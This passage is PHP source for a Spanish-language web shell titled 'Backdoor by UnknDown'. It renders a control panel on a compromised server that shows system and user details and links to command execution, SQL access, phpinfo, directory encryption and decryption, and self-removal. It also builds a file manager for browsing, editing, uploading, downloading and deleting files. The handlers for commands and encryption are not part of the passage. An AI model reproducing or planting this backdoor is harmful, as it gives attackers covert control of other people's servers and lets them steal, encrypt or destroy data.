style='color:#e74c3c'>No</span>"; } echo "<h2><center>Backdoor by UnknDown</center></h2> <hr> <div style='display:inline-block;margin-right: 10px;'> <img src='http://i.imgur.com/Us2AXhN.png' width='128px;'> </div> <div style='display:inline-block;margin-right: 50px;'> <li><b>Tu ip:</b> $ip</li> <li><b>Ip del Servidor:</b> ".$_SERVER['SERVER_ADDR']."</li> <li><b>Sistema:</b> ".php_uname('s') . php_uname('r') . php_uname('v')."</li> <li><b>Servidor:</b> ".$_SERVER['SERVER_SOFTWARE']."</li> <li><b>Usuario:</b> uid=".getmyuid()." (".get_current_user().") gid=".getmygid()."</li> <li><b>Ruta backdoor:</b> ".getcwd()."</li> <li><b>Espacio libre:</b> ".calcular_disco($espacio_libre)." de ".calcular_disco($total)."</li> <li><b>Fecha:</b> ".fecha()."</li> </div> <div style='display:inline-block;margin-right: 50px;'> <li><b>Modo seguro:</b> $modo_seguro </li> <li><b>Magic quotes:</b> $magic_quotes</li> <li><b>PHP:</b> ".phpversion()."</li> <li><b>Perl:</b> $perl</li> <li><b>Ruby:</b> $ruby</li> <li><b>Curl:</b> $curl</li> <li> </li> <li> </li> </div> <div style='display:inline-block;'> <li><b>Mysql:</b> $mysql</li> <li><b>Mysqli:</b> $mysqli</li> <li><b>Mssql:</b> $mssql</li> <li><b>Msql:</b> $msql</li> <li><b>PostreSQL:</b> $pg</li> <li><b>SQLite:</b> $sqlite</li> <li><b>Oracle:</b> $oracle</li> <li> </li> </div> <hr> <center class='menu'> <a href='?d=$actual'>[Inicio]</a> <a target='_blank' href='?phpinfo=true'>[phpinfo]</a> <a target='_blank' href='?cmd=true'>[Comandos]</a> <a target='_blank' href='?sql=true'>[SQL]</a> <a target='_blank' href='?d=$actual&ras=true'>[Cifrar / Descifrar directorio]</a> <a href='?destruir=true'>[Eliminar backdoor]</a> <a href='?close=true'>[Cerrar sesion]</a> </center> <hr> "; function iconos($nombre) {$extension = substr($nombre, strrpos($nombre, ".")); if ($extension == ".zip") {$icon = '<i class="fa fa-file-archive-o"></i>'; } elseif($extension == ".pdf") {$icon = '<i class="fa fa-file-pdf-o"></i>'; } elseif($extension == ".png" or $extension == ".jpg" or $extension == ".jpeg" or $extension == ".gif") {$icon = '<i class="fa fa-file-image-o"></i>'; } elseif($extension == ".mp3" or $extension == ".wav" or $extension == ".wma" or $extension == ".aac") {$icon = '<i class="fa fa-file-audio-o"></i>'; } elseif($extension == ".mp4" or $extension == ".avi" or $extension == ".dvd" or $extension == ".mkv") {$icon = '<i class="fa fa-file-video-o"></i>'; } else {$icon = '<i class="fa fa-file-text-o"></i>'; } return $icon; } $gestor = opendir($directorio); $carpetas = array(); $archivos = array(); while ($contenido = readdir($gestor)) {$total = "$directorio/$contenido"; if (is_dir($total) AND $contenido != "." AND $contenido != "..") {$carpetas[]=$contenido; } else {if ($contenido != "." AND $contenido != "..") {$archivos[]=$contenido; } } } sort($carpetas); sort($archivos); echo "<head> <meta charset='utf-8'> <title>Backdoor</title> <link rel='stylesheet' href='$iconos'> </head> <style type='text/css'> @import url(https://fonts.googleapis.com/css?family=Slabo+27px); .modal-open {overflow: hidden; } .modal {position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: hidden; -webkit-overflow-scrolling: touch; outline: 0; } .modal.fade .modal-dialog {-webkit-transform: translate(0, -25%); -ms-transform: translate(0, -25%); -o-transform: translate(0, -25%); transform: translate(0, -25%); -webkit-transition: -webkit-transform 0.3s ease-out; -o-transition: -o-transform 0.3s ease-out; transition: transform 0.3s ease-out; } .modal.in .modal-dialog {-webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); -o-transform: translate(0, 0); transform: translate(0, 0); } .modal-open .modal {overflow-x: hidden; overflow-y: auto; } .modal-dialog {position: relative; width: auto; margin: 10px; } .modal-content {position: relative; background-color: #ffffff; -webkit-background-clip: padding-box; background-clip: padding-box; border: 1px solid #999999; border: 1px solid rgba(0, 0, 0, 0.2); border-radius: 6px; -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5); outline: 0; } .modal-backdrop {position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000000; } .modal-backdrop.fade {filter: alpha(opacity=0); opacity: 0; } .modal-backdrop.in {filter: alpha(opacity=50); opacity: 0.5; } .modal-header {padding: 15px; border-bottom: 1px solid #e5e5e5; } .modal-header .close {margin-top: -2px; } .modal-title {margin: 0; line-height: 1.42857143; } .modal-body {position: relative; padding: 15px; } .modal-footer {padding: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .modal-footer .btn + .btn {margin-bottom: 0; margin-left: 5px; } .modal-footer .btn-group .btn + .btn {margin-left: -1px; } .modal-footer .btn-block + .btn-block {margin-left: 0; } .modal-scrollbar-measure {position: absolute; top: -9999px; width: 50px; height: 50px; overflow: scroll; } @media (min-width: 768px) {.modal-dialog {width: 600px; margin: 30px auto; } .modal-content {-webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); } .modal-sm {width: 300px; } } @media (min-width: 992px) {.modal-lg {width: 900px; } } .clearfix:before, .clearfix:after, .modal-header:before, .modal-header:after, .modal-footer:before, .modal-footer:after {display: table; content: ' '; } .clearfix:after, .modal-header:after, .modal-footer:after {clear: both; } body{margin: 20px; width:90%; margin: 0 auto; margin-top:20px; background: #131313; color: white; font-family: 'Slabo 27px', serif; } .no{color: #e74c3c; } .si{color: #2ecc71; font-weight: bold; } h4{color:black; } .boton_iconos{background: steelblue; width:30px; height:30px; text-align:center; padding:5px; border:none; display: inline-block; position:relative; } .boton_iconos a{color:white; top: 50%; position: absolute; left:50%; transform: translateY(-50%) translateX(-50%); -webkit-transform: translateY(-50%) translateX(-50%); -moz-transform: translateY(-50%) translateX(-50%); -o-transform: translateY(-50%) translateX(-50%); outline:none; } // .boton_iconos span{// top: 50%; // left:50%; // } a{color: inherit; // color:white; text-decoration:none; // color:blue; } li{list-style: none; margin-bottom:5px; } .tg {border-collapse:collapse;border-spacing:0;width: 100%;background:#333333;color:whitesmoke;overflow: hidden;} .tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 20px;overflow:hidden;word-break:normal;} .tg td{border:solid 1px #3A3A3A} tr{transition:all 0.3s;overflow: hidden;} tr:nth-child(2n){background:#4B4B4B;color:black} // tr:hover{background:#16a085;color:white} // tr:hover{color:whitesmoke} .tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 20px;overflow:hidden;word-break:normal;} .tg .tg-rx9y{font-weight:bold;background-color:#1A1A1A;color:#ffffff;text-align:center; border: solid 1px #232323;} .tg .tg-rx9y i{font-size: 1.5em; color: white; outline: none;} .menu a{text-decoration: none; padding: 5px; color:#16a085; } .tg .tg-qjik{font-weight:bold;background-color:#333333;color:#ffffff} .tg .tg-031e{text-align: center;} .tg .tg-031e i{font-size: 1.2em} button{padding:10px; background: #E0E0E0; border: solid 1px #3A3A3A;} </style> <form method='post' name='f1'> <table class='tg'> <tr> <th class='tg-rx9y'><a href='javascript:seleccionar()'><i id='seleccionar' class='fa fa-check-square-o'></i><i id='desseleccionar' style='display:none' class='fa fa-check-square'></i></a></th> <th class='tg-rx9y'>Tipo</th> <th class='tg-rx9y'>Nombre</th> <th class='tg-rx9y'>Size</th> <th class='tg-rx9y'>Fecha modificacion</th> <th class='tg-rx9y'>Permisos</th> <th class='tg-rx9y'>Usuario</th> <th class='tg-rx9y'>Accion</th> </tr>"; $slash = strpos($link_actual,"/"); if ($slash == true) {$exp = explode("/",$directorio); $total = count($exp)-2; $url_slash = ""; for ($i=0; $i <= $total ; $i++) {$url_slash .= $exp[$i]."/"; } } echo "<tr> <td class='tg-031e'></td> <td class='tg-031e'><i class='fa fa-arrow-left'></i></td> <td class='tg-031e'><a href='?d=".substr($url_slash, 0, -1)."'>..</a></td> <td class='tg-031e'><a href='?d=".substr($url_slash, 0, -1)."'>Retroceder</a></td> <td class='tg-031e'>-</td> <td class='tg-031e'>-</td> <td class='tg-031e'>-</td> <td class='tg-031e'>-</td> </tr>"; function evaluar($valor) {$nopermitido = array("."); $valor = str_replace($nopermitido, "", $valor); return $valor; } foreach($carpetas as $nombre) {$directorio_carpetas = "$directorio/$nombre"; echo " <tr style='z-index: -1'> <td class='tg-031e'><input type='checkbox' name='fichero[]' value='$directorio_carpetas'></td> <td class='tg-031e'><i class='fa fa-folder'></i></td> <td class='tg-031e'><a href='?d=$directorio/$nombre'>".$nombre."</a></td> <td class='tg-031e'><a href='?d=$directorio/$nombre'>Abrir directorio</a></td> <td class='tg-031e'>".fecha_modificacion($directorio_carpetas)."</td> <td class='tg-031e'>".permisos($directorio_carpetas)." / ".chmod_archivo($directorio_carpetas)."</td> <td class='tg-031e'>".usuario_archivo($directorio_carpetas)."</td> <td class='tg-031e'> <div class='iconos'> <div class='boton_iconos' style='background:#2980b9'> <a title='Renombrar' href='#' data-toggle='modal' data-target='#".evaluar($nombre)."'><i class='fa fa-font'></i></a> </div> <div class='boton_iconos' style='background:#A3690C'> <a>-</a> </div> <div class='boton_iconos' style='background:#78271F'> <a href='?d=$directorio/$nombre&dd=$directorio/$nombre'><i class='fa fa-trash-o'></i></a> </div> <div class='boton_iconos' style='background:#502661'> <a href='?d=$directorio&dc=$directorio/$nombre'><i class='fa fa-download'></i></a> </div> </div> </td> </tr> "; echo "<div class='modal fade' id='".evaluar($nombre)."' tabindex='-1' role='dialog' aria-labelledby='myModalLabel' aria-hidden='true'> <div class='modal-dialog'> <div class='modal-content'> <div class='modal-header'> <center><h4 class='modal-title'>Renombrar</h4></center> </div> <div class='modal-body'> <form action='' method='post'> <br> <input style='padding:10px' type='text' name='renombrar' value='$nombre'> <input type='hidden' name='directorio' value='$directorio'> <input type='hidden' name='old' value='$nombre'> <br><br> </div> <div class='modal-footer'> <button type='button' class='btn-close' data-dismiss='modal'>Cancelar</button> <button type='submit' class='btn-edit' name='upload'>Renombrar</button> </form> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div><!-- /.modal --> "; } echo "<ul>"; foreach($archivos as $nombres) {$directorio_archivos = "$directorio/$nombres"; $extension = substr($nombres, strrpos($nombres, ".")); if ($extension == ".zip" or $extension == ".sql") {$tr = "<tr style='background:#e74c3c'>"; } else {$tr = "<tr>"; } echo "$tr <td class='tg-031e'><input type='checkbox' name='fichero[]' value='$directorio_archivos'></td> <td class='tg-031e'>".iconos($nombres)."</td> <td class='tg-031e'><a target='_blank' href='?d=$directorio&ea=$nombres'>$nombres</a></td> <td class='tg-031e'>".size($directorio_archivos)."</td> <td class='tg-031e'>".fecha_modificacion($directorio_archivos)."</td> <td class='tg-031e'>".permisos($directorio_archivos)." / ".chmod_archivo($directorio_carpetas)."</td> <td class='tg-031e'>".usuario_archivo($directorio_carpetas)."</td> <td class='tg-031e'> <div class='iconos'> <div class='boton_iconos'> <a href='#' data-toggle='modal' data-target='#".evaluar($nombres)."'><i class='fa fa-font'></i></a> </div> <div class='boton_iconos' style='background:#A3690C'> <a target='_blank' href='?d=$directorio&ea=$nombres'><i class='fa fa-pencil'></i></a> </div> <div class='boton_iconos' style='background:#78271F'> <a href='?d=$directorio&df=$nombres'><i class='fa fa-trash-o'></i></a> </div> <div class='boton_iconos' style='background:#502661'> <a href='?d=$directorio&da=$nombres'><i class='fa fa-download'></i></a> </div> </div> </td> </tr>"; echo "<div class='modal fade' id='".evaluar($nombres)."' tabindex='-1' role='dialog' aria-labelledby='myModalLabel' aria-hidden='true'> <div class='modal-dialog'> <div class='modal-content'> <div class='modal-header'> <center><h4 class='modal-title'>Renombrar</h4></center> </div> <div class='modal-body'> <form action='' method='post'> <br> <input style='padding:10px' type='text' name='renombrar' value='$nombres'> <input type='hidden' name='directorio' value='$directorio'> <input type='hidden' name='old' value='$nombres'> <br><br> </div> <div class='modal-footer'> <button type='button' class='btn-close' data-dismiss='modal'>Cancelar</button> <button type='submit' class='btn-edit' name='upload'>Renombrar</button> </form> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div><!-- /.modal --> "; } echo "</table><br><button type='submit' name='seleccion'>Eliminar seleccion</button> <a target='_blank' href='?cf=true&d=$directorio'><button type='button' name='crear_fichero'>Crear fichero</button></a> <button data-toggle='modal' data-target='#carpeta_nueva' type='button' name='crear_carpeta'>Crear carpeta</button> <button data-toggle='modal' data-target='#subir_archivo' type='button' name='crear_carpeta'>Subir archivo</button> </form>"; echo '<div class="modal fade" id="subir_archivo" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <center><h4 class="modal-title">Subir archivo</h4></center> </div> <div class="modal-body"> <form action="" method="post" enctype="multipart/form-data"> <br> <label for="logo_upload" class="btn-exito">Subir archivo</label> <input id="logo_upload" type="file" name="logo_upload" style="display:none"> <br><br> </div> <div class="modal-footer"> <button type="button" class="btn-close" data-dismiss="modal">Cancelar</button> <button type="submit" class="btn-edit" name="subir_archivo">Subir</button> </form> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div><!-- /.modal --> '; echo "<div class='modal fade' id='carpeta_nueva' tabindex='-1' role='dialog' aria-labelledby='myModalLabel' aria-hidden='true'> <div class='modal-dialog'> <div class='modal-content'> <div class='modal-header'> <center><h4 class='modal-title'>Crear nueva carpeta</h4></center> </div> <div class='modal-body'> <form action='' method='post'> <br> <center><input style='padding:10px' type='text' name='nueva_carpeta' placeholder='Nombre de la carpeta'></center> <br> </div> <div class='modal-footer'> <button type='button' class='btn-close' data-dismiss='modal'>Cancelar</button> <button type='submit' class='btn-edit'>Crear</button> </form> </div> </div><!-- /.modal-content --> </div><!-- /.modal-dialog --> </div><!-- /.modal --> "; echo "<!-- Funcion javascript para seleccionar todos los archivos de un click --> <script> function seleccionar(){if(1==clic){for(document.getElementById('seleccionar').style.display='none',document.getElementById('desseleccionar').style.display='block',i=0;i<document.f1.elements.length;i++)'checkbox'==document.f1.elements[i].type&&(document.f1.elements[i].checked=1);clic+=1}else{for(document.getElementById('seleccionar').style.display='block',document.getElementById('desseleccionar').style.display='none',i=0;i<document.f1.elements.length;i++)'checkbox'==document.f1.elements[i].type&&(document.f1.elements[i].checked=0);clic=1}}var clic=1;</script> <style>::-webkit-scrollbar {display: none;} </style> <script src='https://code.jquery.com/jquery-3.5.1.min.js'></script><script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js'></script>"; closedir($gestor); } ?>